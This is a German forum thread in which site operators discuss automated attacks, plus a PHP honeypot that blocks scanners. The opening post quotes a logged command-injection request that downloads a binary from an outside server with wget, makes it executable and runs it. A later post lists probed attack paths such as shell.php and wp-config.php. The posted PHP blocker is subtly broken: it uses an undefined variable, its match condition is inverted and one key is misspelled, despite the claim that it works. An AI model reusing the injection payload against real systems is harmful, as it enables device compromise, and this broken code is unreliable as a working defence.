ursus contionabundo: "Solstice": missratene Sonnenwende der "1337-Elite" Scriptkiddies

Für die Windows-Kisten hat es noch gereicht - dazu muss man nur was in die Piratenbucht stellen und warten bis ein paar andere Deppen das installieren. Aber beim Encoden der URL für wget sollte man sich weitaus besser anstellen...

151.95.19.142 - - [13/Mar/2019:17:03:00 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.244.25.108/bins/Solstice.mips%20-O%20->%20/tmp/.Solstice;chmod%20777%20/tmp/.Solstice;/tmp/.Solstice%20dlink.mips%27$ HTTP/1.1" 400 0 "-" "Solstice/2.0"

Sonst wird das nichts mit der Sonnenwendfeier (Solstice).

  1. Was hastn wieder angestellt? Handelst Du jetzt mit Fahrradhelmen?

    1. Was hastn wieder angestellt?

      Aus Versehen in die Logfiles geschaut...

      Apche-Config (.htacces) des Default-Hosts: (Aufruf mit IP...)

      ErrorDocument 404 /404.php
      RewriteEngine on
      RewriteRule ^/login\.cgi /404.php
      

      404.php:

      <?php
      
      $noblocks = [
      	'192.168.1.',
      	'127.'
      ];
      $blocktime = 60; # Minuten
      
      $angriffe=explode(
      "\n", 
      '/a2billing/
      /adm/
      /admin/
      /administrator.php
      /backup/
      /composer.php
      /data.php
      /db/
      /dbadmin
      /db.init.php
      /db.php
      /db_pma.php
      /dmpr/
      /drupal.php
      /editor.php
      /horde/
      /login.cgi
      /manager/
      /msd/
      /muhstik/
      /mx.php
      /myadmin/
      /MyAdmin/
      /myadmin2/
      /mysql
      /mysql/
      /mysql_admin/
      /mysql-admin/
      /mysqladmin/
      /mysqldump
      /mysqldumper/
      /mysqlmanager/
      /mysql.php
      /noxdir/
      /.php/
      /phpadmin/
      /phpma/
      /phpmy/
      /phpmyadmin/
      /phppma/
      /pma/
      /pma2/
      /setup.php
      /shell.php
      /solstice
      /spider.php
      /sqlmanager/
      /sqlweb/
      /system.php
      /thinkphp
      /tomcat.php
      /toor.php
      /typo3/
      /vhcs/
      /vhcs2/
      /webdav/
      /websql/
      /wp-admin/
      /wp-admin.php
      /wp-config.php
      /wp-content/
      /xampp/
      HelloThinkPHP
      ');
      
      
      if ( empty( $_SERVER['REMOTE_ADDR'] ) ) {
      	echo __FILE__ . " executed in CLI: Nothing to do." . PHP_EOL;
      	exit;
      }
      
      foreach ( $noblocks as $noblock ) {
      	if ( false !== strpos( $_SERVER['REMOTE_ADDR'], $noblock ) ) {
      		echo '<p>REMOTE_ADDR "' . $_SERVER['REMOTE_ADDR'] . '" matching "' . $noblock . '" : Nothing to do!</p>';
      		iLoveSkriptKiddies();
      		exit;
      	}
      }
      
      $flagFound = false;
      $haystack = strtolower( $_SERVER['REQUEST_URI'] );
      foreach ( $angriffe as $s ) {
      	$needle = strtolower( trim( $needle ) );
      	if ( $needle && ! false === strpos( $haystack, $needle ) ) {
      		$flagFound = true;
      		break;	
      	}
      }
      
      if ( $flagFound ) {
      	http_response_code(403);
      ?><!DOCTYPE html>
      <html lang="en">
      	<head>
      		<title>403 Forbidden</title>
      	</head>	
      	<body>
      	<h1>403 Forbidden</h1>
      	<p>Nice try! Requests from <?=$_SERVER['REMOTE ADDR']; ?> are blocked now.</p>';
      	<?php
      	iLoveSkriptKiddies();
      	echo '</body>
      </html>';
      	$cmd = '/usr/bin/sudo /usr/sbin/fwblock4time ' . $_SERVER['REMOTE_ADDR'] . ' ' . $blocktime . '; echo $? | tail -n1';
      	$result = intval(`$cmd`);
      	if ( 0 == $result ) {
      		error_log('Angriffsversuch: ' . $_SERVER['REMOTE_ADDR'] . " wurde fuer $blocktime Minuten in der Firewall blockiert.");
      	} else {
      		error_log( "Error $result from execute $cmd" );
      	}
       } else {
      	http_response_code( 404 );
      	echo '<h1>Not found</h1><p>Warning: This is a honeypot...</p>';
      }
      
      function iLoveSkriptKiddies() {
          ## sed a nice greeting image
      }
      

      Läuft. Wirft Angreifer für eine Stunde bei IP-Tables ein.

      Wer es testen will: http://77.180.117.82/myadmin/ (nur heute erreichbar)

      1. Achja, hab ich hinter mir. Das Blocken interessiert die überhaupt nicht, selbst ein EicarFile (Virussignatur) hat die Spammer nicht im geringsten interessiert. Die beschweren sich höchstens noch eiskalt bis höflich per eMail wenn sie den Status 404 überhaupt mitbekommen.

        Aber wenns Dir Spaß macht 😉

        1. Hallo pl,

          vermutlich ist die Beschwerdemail genauso gescriptet wie der vorherige, geblockte Zugriff. Ich kriege 404? Ok, Mail raus (leider von einem Autor mit gewissen Verschriftlichungsproblemen englischer Laute): "Deer Sir or Madam, we need to do urgent bizzyness with you're side at example.org and are recieving a http 404 error. Please allow hour axess."

          Rolf

          --
          sumpsi - posui - clusi
          1. vermutlich ist die Beschwerdemail genauso gescriptet wie der vorherige, geblockte Zugriff.

            Ne. Die Mails die ich bekam weil ich eine DEMO abgeschaltet hatte nachdem ich feststellen musste daß diese DEMO kommerziell genutzt wurde ohne mich zu fragen, waren total menschlich.

            Manche haben sogar rotzfrech geschrieben daß ich diesen "tollen Service" bitteschön auf HTTPS umstellen sollte damit auf denen ihren Seiten (wo sie das eingebunden hatten) keine Warnmeldungen mehr kommen was denen ihre Kunden verärgert. Dreister gehts schon nicht mehr!

            Dennoch habe ich einige solcher Zuschriften recht höflich beantwortet. MFG

        2. Die beschweren sich höchstens noch eiskalt bis höflich per eMail wenn sie den Status 404 überhaupt mitbekommen.

          404?

          Ich sende einen 403er, und /usr/sbin/fwblock4time wirft die IP bei der Firewall ein. Daran, dass häufig ein Skript und nur insoweit kein Kiddi auf OSI-Level 8 sitzt, habe ich also gedacht.

          1. Die beschweren sich höchstens noch eiskalt bis höflich per eMail wenn sie den Status 404 überhaupt mitbekommen.

            404?

            Der Status ist doch egal beim Blocken. Aber mitlerweile ist es ein 404 die Seite ist off. MFG

            1. Aber mitlerweile ist es ein 404 die Seite ist off.

              Ja. Seit heute morgen 02:00 Uhr. Wie gestern vorhergesagt:

              Wer es testen will: http://[...]/myadmin/ (nur heute erreichbar)

              1. Ich sehe gerade: Heute morgen, um 05:42 Uhr, ist ein Kunde der Cloudstar Hosting Services (185.53.91.24) erst dem (alten) Honeypot vom home.fastix.org aufgefallen, hat mitbekommen, dass er einen 403er bekommt und hat es dann um 05:45 - ebenfalls im ersten Versuch - geschafft, mit der IP als Hostname dem dort lauernden neuen Blocker aufzufallen und nunmehr also via Firewall blockiert zu werden.

                Ich vermute mal, der war a) manuell unterwegs und b) aus Osteuropa oder Asien.

                Ich habe jetzt mal alle IPs aus dem Netzbereich manuell gesperrt, so bekommt man Ruhe. Außerdem werde ich den alten Honeypot ersetzen.

                1. Ich sehe gerade: Heute morgen, um 05:42 Uhr, ist ein Kunde der Cloudstar Hosting Services (185.53.91.24) erst dem (alten) Honeypot vom home.fastix.org aufgefallen, hat mitbekommen, dass er einen 403er bekommt und hat es dann um 05:45 - ebenfalls im ersten Versuch - geschafft, mit der IP als Hostname dem dort lauernden neuen Blocker aufzufallen und nunmehr also via Firewall blockiert zu werden.

                  Ich vermute mal, der war a) manuell unterwegs und b) aus Osteuropa oder Asien.

                  Alles klar. Seit 5:45 wird zurückgeschossen!

                  1. Alles klar. Seit 5:45 wird zurückgeschossen!

                    So oder so ähnlich. Allerdings frage ich mich, wie jemand dazu kommt, home.fastix.org anzugreifen. Das steht (wohl) in keiner Suchmaschine, nur hier und auf code.fastix.org sind ein paar Links. Die Rückwärtsauflösung der dynamischen IP verweist nicht auf home.fastix.org. Ich überlege ob da jemand mit großer Infrastruktur unterwegs ist, denn es waren zwischen 22:00 gestern abend und heute morgen gleich zwei IPs aus 185.53.91.0/24 auffällig (immer im ersten Versuch, aber unterschiedlichen Tests) oder ob da nicht vielleicht ein für einen auch sonst kriminellen deutschen "Marktführer" mit "eigenem Rechenzentrum" tätiges bulgarisches Skriptkid unterwegs ist, welches es schon vor Jahren mal mit einem richtigem Misserfolg versucht hat.

                    1. oder ob da nicht vielleicht ein für einen auch sonst kriminellen deutschen "Marktführer" mit "eigenem Rechenzentrum" tätiges bulgarisches Skriptkid unterwegs ist

                      Tja. War womöglich doch nur einer mit eher mäßiger Infrastruktur.

                      1. Es sind immer niedrige Bewggründe die sowas hervorbringen!

                        1. Es sind immer niedrige Bewggründe die sowas hervorbringen!

                          Damit hast Du wohl recht. Insbesondere vorliegend.